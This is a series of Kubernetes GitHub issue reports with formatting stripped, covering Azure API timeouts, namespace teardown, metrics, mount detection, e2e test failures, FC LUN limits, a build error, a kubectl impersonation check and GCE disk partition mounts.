 install tools  : own\r \r \r   what happened  :\r \r when the azure api does not respond, lots of problems happen that affect the stability of an otherwise healthy kubernetes cluster. namely:\r \r - the kubelet freezes while waiting for the azure api to return and stops reporting the node status. hence, the controller manager eventually deletes all pods of that node. related issue and pr:  43516,  45540,  46340 \r - the controller manager also reacts badly to errors from the api. example:\r    \r i0529 16:26:44.095749       1 event.go:217  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ master-1-vm\ , uid:\ f08a3d0e-d0e7-11e6-8def-000d3a27013b\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodenotready' node master-1-vm status is now: nodenotready\r e0529 16:27:14.242314       1 nodecontroller.go:748  error determining if node master-1-vm exists in cloud: compute.virtualmachinesclient get: failure sending request: statuscode=0 -- original error: get https://management.azure.com/subscriptions/.../resourcegroups/borgbrpx/providers/microsoft.compute/virtualmachines/master-1-vm?api-version=2016-03-30: dial tcp 13.81.110.74:443: i/o timeout\r e0529 16:27:48.991516       1 nodecontroller.go:748  error determining if node master-1-vm exists in cloud: compute.virtualmachinesclient get: failure sending request: statuscode=0 -- original error: get https://management.azure.com/subscriptions/.../resourcegroups/borgbrpx/providers/microsoft.compute/virtualmachines/master-1-vm?api-version=2016-03-30: dial tcp 13.81.110.74:443: i/o timeout\r i0529 16:27:53.992210       1 event.go:217  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ master-1-vm\ , uid:\ f08a3d0e-d0e7-11e6-8def-000d3a27013b\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'deletingallpods' node master-1-vm event: deleting all pods from node master-1-vm.\r    \r \r   what you expected to happen  :\r \r better timeouts and error handling in order not to break a cluster that is healthy.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r block the traffic to the azure api.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r running a 500 node churn test, which scales many deployments up and down.  i stopped the test and started the teardown sequence, which deletes all the namespaces we used during the tests  some with pods and deployments still inside .  several of the namespaces got stuck in terminating, presumably because some of their pods failed to terminate.\r \r   what you expected to happen  :\r \r pods and namespaces cleaned up.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - 200 namespaces, with 20k+ pods started in 2000 deployments  spread around the namespaces .\r - delete all the namespaces\r \r   anything else we need to know?  :\r \r i see the kubelet complain that it can't send an update for the pod because the namespace is being torn down:\r    \r dec 07 13:40:34 smc-kubeadm-node-425 kubelet 20694 : e1207 13:40:34.785625   20694 event.go:200  server rejected event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ server105-cali-ns-105-c779495b-8jgsc.14fe06983d91ad49\ , generatename:\ \ , namespace:\ cali-ns-105\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ pod\ , namespace:\ cali-ns-105\ , name:\ server105-cali-ns-105-c779495b-8jgsc\ , uid:\ c683c9f9-db45-11e7-b330-42010af00012\ , apiversion:\ v1\ , resourceversion:\ 1336942\ , fieldpath:\ spec.containers{nginx}\ }, reason:\ killing\ , message:\ killing container with id docker://nginx:need to kill pod\ , source:v1.eventsource{component:\ kubelet\ , host:\ smc-kubeadm-node-425\ }, firsttimestamp:v1.time{time:time.time{sec:63648250575, nsec:780818249, loc:  time.location  0x5329a40 }}, lasttimestamp:v1.time{time:time.time{sec:63648250834, nsec:780309498, loc:  time.location  0x5329a40 }}, count:4, type:\ normal\ }': 'events \ server105-cali-ns-105-c779495b-8jgsc.14fe06983d91ad49\  is forbidden: unable to create new content in namespace cali-ns-105 because it is being terminated.'  will not retry! \r    \r \r the cni teardown seems to complete correctly:\r \r    \r dec 07 13:40:34 smc-kubeadm-node-425 kubelet 20694 : 2017-12-07 13:40:34.952  info  21311  k8s.go 382: teardown processing complete. containerid=\ b741460e1042b422265cd1d9f74933106fafc120e0d47547d46ef493f29e657a\ \r    \r \r there are also logs about failing to set up the secret for the pod, mixed in with the tear down  maybe this pod was still coming up when i initiated the teardown? :\r \r    \r dec 07 13:47:53 smc-kubeadm-node-425 kubelet 20694 : e1207 13:47:53.991113   20694 nestedpendingoperations.go:264  operation for \ \\\ kubernetes.io/secret/c683c9f9-db45-11e7-b330-42010af00012-default-token-dgrvb\\\   \\\ c683c9f9-db45-11e7-b330-42010af00012\\\  \  failed. no retries permitted until 2017-12-07 13:49:55.991089462 +0000 utc  durationbeforeretry 2m2s . error: mountvolume.setup failed for volume \ default-token-dgrvb\   uniquename: \ kubernetes.io/secret/c683c9f9-db45-11e7-b330-42010af00012-default-token-dgrvb\   pod \ server105-cali-ns-105-c779495b-8jgsc\   uid: \ c683c9f9-db45-11e7-b330-42010af00012\   : secrets \ default-token-dgrvb\  not found\r    \r \r kubelet log filtered to the name of the pod: https://gist.github.com/fasaxc/ae35d4fd3ad7f718b1ec7efe621a04b9\r \r systemd unit for kubelet:\r \r    \r cat /etc/systemd/system/kubelet.service.d/10-kubeadm.conf \r  service \r environment=\ kubelet_kubeconfig_args=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf\ \r environment=\ kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\ \r environment=\ kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\ \r environment=\ kubelet_dns_args=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local\ \r environment=\ kubelet_authz_args=--authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt\ \r environment=\ kubelet_cadvisor_args=--cadvisor-port=0\ \r environment=\ kubelet_certificate_args=--rotate-certificates=true --cert-dir=/var/lib/kubelet/pki\ \r execstart=\r execstart=/usr/bin/kubelet $kubelet_kubeconfig_args $kubelet_system_pods_args $kubelet_network_args $kubelet_dns_args $kubelet_authz_args $kubelet_cadvisor_args $kubelet_certificate_args $kubelet_extra_args\r \r    \r \r and its labels/taints file:\r    \r $ sudo cat /etc/systemd/system/kubelet.service.d/20-labels-taints.conf \r  service \r environment=\ kubelet_extra_args=--node-labels=cloud.google.com/gke-nodepool=default-pool\ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r    \r - kernel  e.g.  uname -a  : \r  linux smc-kubeadm-node-425 4.10.0-40-generic  44~16.04.1-ubuntu smp thu nov 9 15:37:44 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools: kubeadm\r - others: i'm testing a pre-release version of calico, but this doesn't seem networking-related.\r

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r this ingress in two namespace   and   domain  is  www.test.com,\r if curl www.test.com/abc \r which ingress you use???\r \r  apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: _app_name_\r   annotations:\r     kubernetes.io/ingress.class: traefik\r     traefik.frontend.rule.type: pathprefixstrip\r spec:\r   rules:\r   - http:\r       paths:\r       - path: /abc\r         backend:\r           servicename: getname\r           serviceport: 80 \r \r \r <!-- do not edit below this line -->\r \r /triage support\r \r

as @davidopp wrote:  1  operator does \ kubectl stop node\  or \ kubectl delete node\  i just tested these and neither does anything on gce; the first one gives an error \ no reaper has been implemented for \ node\ \  and the second one claims to work  prints node name in response, gives no error  but nothing happens  node is still there, pod is still running, etc.    2  operator deletes the vm instance. this is surprisingly hard to do on gce because we use managed instance groups to auto-restart the vm very quickly, and at least via the ui you can't delete the mig without deleting the vms, so i'm not sure how to test this  this being delete the vm, wait a while, and see how the pod is treated . but the nodecontroller code  that i guess is being moved into kubelet soon  calls into the api server to delete the node https://github.com/googlecloudplatform/kubernetes/blob/65d132a3eecee38fc22e82ff5fd9e100aae342be/pkg/cloudprovider/nodecontroller/nodecontroller.go l324 which i assume is basically the same as  1  hence it doesn't really do anything. have we tested anything with regard to machine shutdown?  extracted from  6804  cc @davidopp @bgrant0607

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r following azure metrics are wrong,  mc.observe  func is invoked twice:\r    \r azloadbalancersclient.createorupdate: load_balancers_create_or_update\r azloadbalancersclient.delete: load_balancers_delete\r azloadbalancersclient.get: public_ip_addresses_create_or_update\r azroutetablesclient.createorupdate: route_tables_create_or_update\r azpublicipaddressesclient: public_ip_addresses_delete\r azvirtualmachinescalesetvmsclient.udate: vmssvm_update\r azdisksclient.createorupdate: disks_create_or_update\r azdisksclient.delete: disks_delete\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r /assign\r 

code block formatting is munged throughout this guide:  http://kubernetes.io/v1.1/docs/getting-started-guides/coreos/bare_metal_offline.html  for example: 1. copy over the syslinux images we will need.               su -    mkdir -p /tftpboot    cd /tftpboot    cp /usr/share/syslinux/pxelinux.0 /tftpboot    cp /usr/share/syslinux/menu.c32 /tftpboot    cp /usr/share/syslinux/memdisk /tftpboot    cp /usr/share/syslinux/mboot.c32 /tftpboot    cp /usr/share/syslinux/chain.c32 /tftpboot        /sbin/service dhcpd start    /sbin/service xinetd start    /sbin/chkconfig tftp on         appears as:  download the coreos pxe files provided by the coreos team.  my_tftproot_dir=/tftpboot mkdir -p $my_tftproot_dir/images/coreos/ cd $my_tftproot_dir/images/coreos/ wget http://stable.release.core-os.net/amd64-usr/current/coreos_production_pxe.vmlinuz wget http://stable.release.core-os.net/amd64-usr/current/coreos_production_pxe.vmlinuz.sig wget http://stable.release.core-os.net/amd64-usr/current/coreos_production_pxe_image.cpio.gz wget http://stable.release.core-os.net/amd64-usr/current/coreos_production_pxe_image.cpio.gz.sig gpg --verify coreos_production_pxe.vmlinuz.sig gpg --verify coreos_production_pxe_image.cpio.gz.sig  this makes it difficult to follow the web version of the guide.

cc @kubernetes/sig-storage   currently, islikelynotmountpoint   is implemented in mount_linux.go and nsenter_mount.go. they use different approach to determine whether a path is mounted or not. 1. mount_linux.go checks if the directory has a different device as parent, then it is a mountpoint. 2. nsenter_mount.go uses findmnt command result to check the mountpoint. this approach has issue: if the path is relatively long, findmnt execute output will truncate the last letter of the path.   open an issue here to investigate whether we need to different approaches for this function. another related issue is that islikelynotmountpoint   is called by many places and served as two purposes, one is checking whether directory exists or not, the other is to check the mount point. suggest to separate these two functions.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-test/13104/  failed:  k8s.io  dns should provide dns for pods for hostname and subdomain annotation {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:389 expected error:     < errors.errorstring | 0xc8200c5060>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-soak-continuous-e2e-gke/8553/  failed:  k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 0 pods per node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:277 sep  1 13:37:16.682: memory usage exceeding limits:  node gke-jenkins-e2e-default-pool-8cc0a277-uewx:  container \ runtime\ : expected rss memory  mb  < 89128960; got 93290496 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:153      previous issues for this test:  26784  28384

i'm used to at least seeing the weird timestamps dmesg gives when one doesn't use the  -t , but these kern logs don't even show that: https://pantheon.corp.google.com/storage/browser/kubernetes-jenkins/logs/kubernetes-e2e-gke-gci-1.3-container_vm-1.4-upgrade-master/10/artifacts/gke-jenkins-e2e-default-pool-44c9858e-yly1/  i this this is a recent regression, i've definitely used kern.log to debug issue and its impossible without timestamp correlation.

_ comes from user _  the most important thing for cloud support is insight, logs, verbosity. the description of the  --v  argument reads:  --v=0: log level for v logs  - what are the different log levels? - what level is most useful to see all api calls? - what is \ v\ ? - what would be a useful standard reply to a customer? \ please re-run this command with --v=9 and send me the output\   with gcloud i normally ask for the output of  --log-http --verbosity=debug .  @kubernetes/kubectl @ymqytw @pwittrock

steps to repro:\r   fedkubectl create -f myrs.yaml\r   fedkubectl delete rs myrs\r \r where fedkubectl is  kubectl --context=federation-cluster \r \r expected:\r myrs should be deleted from federation control plane. myrs in underlying clusters should be left as is.\r \r actual:\r myrs is deleted from federation control plane fine, but myrs in all underlying clusters are also scaled down to zero. this should not happen. they should be left as is.\r \r note that this problem exists only when replicaset is deleted using kubectl. deleting the replicaset directly using the rest api works fine.\r \r cc @kshafiee @kubernetes/sig-cluster-federation

we turned on resource gatherer again, and as it was expected our scalability suite started to fail. this time the biggest culprit is kube-proxy, which sometimes has abnormally high cpu usage in 99th percentile in the density test. density does not use services at all, so by itself it doesn't stress kube-proxy, but we do run load test in the same suite, which puts a quite heavy load on it.\r \r we measure usage in the density test only, so there's nothing new going on, but it's possible that kube-proxy is doing some residual work, which is left over from the load test, as the failures happen only when density is run as a second test. in kubemark clusters we don't observe this behavior  load drops pretty much instantly , so it's possible that it's related to some non-mocked-out iptables magic that kube-proxy does.\r \r e.g. https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/1870\r \r @kubernetes/sig-scalability-misc @wojtek-t @thockin @freehan

\r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0+776c994\ , gitcommit:\ a9e9cf3\ ,\r gittreestate:\ clean\ , builddate:\ 2017-02-17t20:57:29z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/s390x\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0+776c994\ , gitcommit:\ a9e9cf3\ ,\r gittreestate:\ clean\ , builddate:\ 2017-02-17t20:57:29z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/s390x\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : ibm z13\r -   os    e.g. from /etc/os-release : centos 7.3.1611\r -   kernel    e.g.  uname -a  : 3.10.0-514.16.1.el7\r -   install tools  : \r -   others  :\r \r \r   what happened  :\r \r i have just started to exploit the fc persistent volume support. i am using some ibm ds8800 devices whose lun numbers do not fit in the range 0..255. the file  vendor/k8s.io/client-go/1.4/pkg/api/types.go  defines lun as int32 and  vendor/k8s.io/client-go/1.4/pkg/api/validation/validation.go  restricts the value to between 0 and 255 inclusive. \r \r however, the t10 sam defines lun as u64. redefining the type as a string, as is done for wwn, would probably introduce compatibility issues so uint64 might be the only choice. similarly, the validation test of 0 <= lun <= 255 could be eliminated.\r \r for example, the /dev/disk/by-path for one of these devices looks like:\r    \r ccw-0.0.50c0-fc-0x500507680b2281fb-lun-0x027b000000000000 -> ../../sda\r    \r thus, i am unable to define a pv under the current type definition.\r \r in addition the current matching in  fc_util.go  will work except for the lun specification  which has the 0x value prefixed . for this, i could see if lun is > 255 and convert it as it happens under linux in  format_lun_number    https://github.com/systemd/systemd/blob/master/src/udev/udev-builtin-path_id.c l65  \r \r   anything else we need to know  \r \r it's t10 sam, the  scsi architecture model  http://www.t10.org/drafts.htm scsi3_arch , which defines size  64 bit  and formats of lun.\r \r the linux kernel always handles lun as opaque u64 without trying to parse or interpret any of the different lun formats.\r \r however, since t10 sam defines the u64 lun as composed of up to 4  hierarchical  levels, the linux kernel uses a special bijective mapping to represent the 64 bit binary lun as a \ handy\  decimal \ scsi lun\  to user space. the user can see this as the fourth part in the \ hctl\  name of a scsi device consisting of  <scsi host>:<scsi bus>:<scsitarget>:<scsi lun>  all of which are decimal numbers. this is the linux scsi stack midlayer naming scheme which exists for any scsi transport including but not limited to fcp.\r \r with fcp, the fcp device maps to a scsi host  unpredictably numbered from zero on dynamic host allocation , with zfcp, the scsi bus is always 0  some parallel scsi host bus adapters having >= 2 ports accessed over the same hardware device chip use this , with fcp, the target port  fc_rport  maps to a scsi target  unpredictably numbered from zero on dynamic port discovery and allocation .\r \r the lun levels in a hex representation are 0x1111222233334444. since the use starts at level 1 and expands to higher levels depending on the lun format, the smallest luns in hex representation starting with lun 0 and incrementing by one are:\r    \r 0x0000000000000000\r 0x0001000000000000\r 0x0002000000000000\r 0x0003000000000000\r ...\r    \r \r in order to be somewhat compatible to the old parallel  scsi transport - t10 spi  http://www.t10.org/drafts.htm scsi3_par  and  scsi standards architecture  http://www.t10.org/scsi-3.htm , linux uses half-word  u16  shuffling to have  single level  peripheral device addressing luns appear with the same small decimal numbers starting at zero as spi. while it might look like endianess conversion, it is different. so above numbers appear as linux scsi lun:\r    \r 0\r 1\r 2\r 3\r ...\r    \r by-path names for fcp in the common code naming scheme, happen to format lun as decimal if the lun value is <256, else as full 16 hex digit with leading '0x'. see the  udev builtin path source  https://github.com/systemd/systemd/blob/master/src/udev/udev-builtin-path_id.c l65  function  format_lun_number   .\r \r nb: since a while the linux kernel does support full 64 bit luns, so the comment in systemd regarding  upper  32 bit luns is kind of outdated and it seems systemd by-path could not properly format such lun if it made use of lun levels 3 or 4.\r \r @kubernetes/sig-storage-bugs

build from head fails with error in apiserver repo\r it seems there is something wrong in  k8s.io/apiserver/pkg/util/proxy/dial.go .\r    \r $ make\r +++  0503 10:58:50  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0503 10:58:50  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~/work/golang/src/k8s.io/kubernetes ~/work/golang/src/k8s.io/kubernetes/test/e2e/generated\r ~/work/golang/src/k8s.io/kubernetes/test/e2e/generated\r +++  0503 10:58:50  building go targets for linux/amd64:\r     cmd/kube-proxy\r     cmd/kube-apiserver\r     cmd/kube-controller-manager\r     cmd/cloud-controller-manager\r     cmd/kubelet\r     cmd/kubeadm\r     cmd/hyperkube\r     vendor/k8s.io/kube-aggregator\r     vendor/k8s.io/kube-apiextensions-server\r     plugin/cmd/kube-scheduler\r     cmd/kubectl\r     federation/cmd/kubefed\r     cmd/gendocs\r     cmd/genkubedocs\r     cmd/genman\r     cmd/genyaml\r     cmd/mungedocs\r     cmd/genswaggertypedocs\r     cmd/linkcheck\r     federation/cmd/genfeddocs\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e/e2e.test\r     cmd/kubemark\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e_node/e2e_node.test\r     cmd/gke-certificates-controller\r   k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/proxy\r vendor/k8s.io/apiserver/pkg/util/proxy/dial.go:72: tlsconfig.clone undefined  type  tls.config has no field or method clone, but does have tls.clone \r !!!  0503 10:59:45  call tree:\r !!!  0503 10:59:45   1: /usr/local/google/home/mengqiy/work/golang/src/k8s.io/kubernetes/hack/lib/golang.sh:711 kube::golang::build_binaries_for_platform ... \r !!!  0503 10:59:45   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  0503 10:59:45  call tree:\r !!!  0503 10:59:45   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  0503 10:59:45  call tree:\r !!!  0503 10:59:45   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r make:      all  error 1\r

is this a bug report or feature request?  :\r  \r   what happened  :\r    \r ubuntu@k8s-master-0:~$ kubectl --v=7 auth can-i get deployments --as system:serviceaccount:default:gateway\r google.protobuf.timestamp\r i0926 20:09:40.460862   29828 loader.go:357  config loaded from file /home/ubuntu/.kube/config\r i0926 20:09:40.461507   29828 round_trippers.go:383  get http://localhost:8080/api\r i0926 20:09:40.461583   29828 round_trippers.go:390  request headers:\r i0926 20:09:40.461634   29828 round_trippers.go:393      accept: application/json,  / \r i0926 20:09:40.461683   29828 round_trippers.go:393      impersonate-user: system:serviceaccount:default:gateway\r i0926 20:09:40.461731   29828 round_trippers.go:393      user-agent: kubectl/v1.7.5+coreos.0  linux/amd64  kubernetes/070d238\r i0926 20:09:40.463519   29828 round_trippers.go:408  response status: 200 ok in 1 milliseconds\r i0926 20:09:40.463771   29828 round_trippers.go:383  get http://localhost:8080/apis\r i0926 20:09:40.463861   29828 round_trippers.go:390  request headers:\r i0926 20:09:40.463932   29828 round_trippers.go:393      user-agent: kubectl/v1.7.5+coreos.0  linux/amd64  kubernetes/070d238\r i0926 20:09:40.463985   29828 round_trippers.go:393      accept: application/json,  / \r i0926 20:09:40.464046   29828 round_trippers.go:393      impersonate-user: system:serviceaccount:default:gateway\r i0926 20:09:40.464755   29828 round_trippers.go:408  response status: 200 ok in 0 milliseconds\r ...\r i0926 20:09:40.497486   29828 round_trippers.go:383  post http://localhost:8080/apis/authorization.k8s.io/v1/selfsubjectaccessreviews\r i0926 20:09:40.497569   29828 round_trippers.go:390  request headers:\r i0926 20:09:40.497619   29828 round_trippers.go:393      impersonate-user: system:serviceaccount:default:gateway\r i0926 20:09:40.497667   29828 round_trippers.go:393      accept: application/json,  / \r i0926 20:09:40.497736   29828 round_trippers.go:393      content-type: application/json\r i0926 20:09:40.497799   29828 round_trippers.go:393      user-agent: kubectl/v1.7.5+coreos.0  linux/amd64  kubernetes/070d238\r i0926 20:09:40.499021   29828 round_trippers.go:408  response status: 201 created in 1 milliseconds\r yes\r    \r \r   what you expected to happen  :\r    \r ubuntu@k8s-master-0:~$ kubectl --v=7 auth can-i get deployments --server=https://10.0.40.7:6443 --token  redacted  --insecure-skip-tls-verify\r i0926 20:13:32.761979   30145 loader.go:357  config loaded from file /home/ubuntu/.kube/config\r i0926 20:13:32.763071   30145 round_trippers.go:383  get https://10.0.40.7:6443/api\r i0926 20:13:32.763085   30145 round_trippers.go:390  request headers:\r i0926 20:13:32.763093   30145 round_trippers.go:393      accept: application/json,  / \r i0926 20:13:32.763100   30145 round_trippers.go:393      user-agent: kubectl/v1.7.5+coreos.0  linux/amd64  kubernetes/070d238\r i0926 20:13:32.763107   30145 round_trippers.go:393      authorization: bearer  redacted \r i0926 20:13:32.777698   30145 round_trippers.go:408  response status: 200 ok in 14 milliseconds\r i0926 20:13:32.778070   30145 round_trippers.go:383  get https://10.0.40.7:6443/apis\r i0926 20:13:32.778156   30145 round_trippers.go:390  request headers:\r i0926 20:13:32.778217   30145 round_trippers.go:393      user-agent: kubectl/v1.7.5+coreos.0  linux/amd64  kubernetes/070d238\r i0926 20:13:32.778273   30145 round_trippers.go:393      authorization: bearer  redacted \r i0926 20:13:32.778375   30145 round_trippers.go:393      accept: application/json,  / \r i0926 20:13:32.783159   30145 round_trippers.go:408  response status: 200 ok in 4 milliseconds\r ...\r i0926 20:13:32.888993   30145 round_trippers.go:383  post https://10.0.40.7:6443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews\r i0926 20:13:32.889075   30145 round_trippers.go:390  request headers:\r i0926 20:13:32.889124   30145 round_trippers.go:393      authorization: bearer  redacted \r i0926 20:13:32.889182   30145 round_trippers.go:393      accept: application/json,  / \r i0926 20:13:32.889230   30145 round_trippers.go:393      content-type: application/json\r i0926 20:13:32.889277   30145 round_trippers.go:393      user-agent: kubectl/v1.7.5+coreos.0  linux/amd64  kubernetes/070d238\r i0926 20:13:32.894707   30145 round_trippers.go:408  response status: 201 created in 5 milliseconds\r no\r    \r \r if the api can't/won't perform impersonation over http or localhost  not sure which  then the client should indicate that rather than print \ yes\  to the impersonation request. right now it appears that the impersonation worked and the user does have access, but it's an incorrect response.\r \r   how to reproduce it  as minimally and precisely as possible   :\r from a master try to impersonate a limited serviceaccount and to check for  auth can-i  privileges. the above snippets should be sufficient to reproduce.\r \r   anything else we need to know?  :\r the redacted token has the following payload:\r \r    \r {\r   \ iss\ : \ kubernetes/serviceaccount\ ,\r   \ kubernetes.io/serviceaccount/namespace\ : \ default\ ,\r   \ kubernetes.io/serviceaccount/secret.name\ : \ gateway-token-rksch\ ,\r   \ kubernetes.io/serviceaccount/service-account.name\ : \ gateway\ ,\r   \ kubernetes.io/serviceaccount/service-account.uid\ : \ 047a4302-a2cc-11e7-82fd-fa163e6824ea\ ,\r   \ sub\ : \ system:serviceaccount:default:gateway\ \r }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r ubuntu@k8s-master-0:~$ kubectl version\r google.protobuf.timestamp\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5+coreos.0\ , gitcommit:\ 070d238cd2ec359928548e486a9171b498573181\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t21:28:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5+coreos.0\ , gitcommit:\ 070d238cd2ec359928548e486a9171b498573181\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t21:28:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  : openstack, private datacenter\r - os  e.g. from /etc/os-release : 16.04.2 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux k8s-master-0 4.4.0-71-generic  92-ubuntu smp fri mar 24 12:59:01 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubespray\r - others:\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  @kubernetes/sig-storage-bugs \r \r   what happened  :\r failing since 12/17\r https://k8s-testgrid.appspot.com/sig-storage gce-alpha\r \r /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r tried to mount two partitions from the same gce pd disk in a pod, but it failed to mount one of the volumes.  the theory is mount uses only the disk name and pod uid to construct a unique volume name, but in this case, it should also take into account the partition number too.\r \r   what you expected to happen  :\r mount should succeed\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a gce pd disk\r 2. create two partitions on it\r 3. create pod mounting both partitions:\r    \r apiversion: v1\r kind: pod \r metadata:\r   name: my-pod\r spec:\r   containers:\r   - name: test\r     image: \ busybox\ \r     command:  \ /bin/sh\ , \ -ec\ , \ /bin/sleep 999999\  \r     volumemounts:\r     - name: vol1\r       mountpath: /vol1\r   volumes:\r   - name: vol1\r     gcepersistentdisk:\r       pdname: partitioned-disk\r       fstype: ext4\r       partition: 1\r   - name: vol2\r     gcepersistentdisk:\r       pdname: partitioned-disk\r       fstype: ext4\r       partition: 2\r    \r

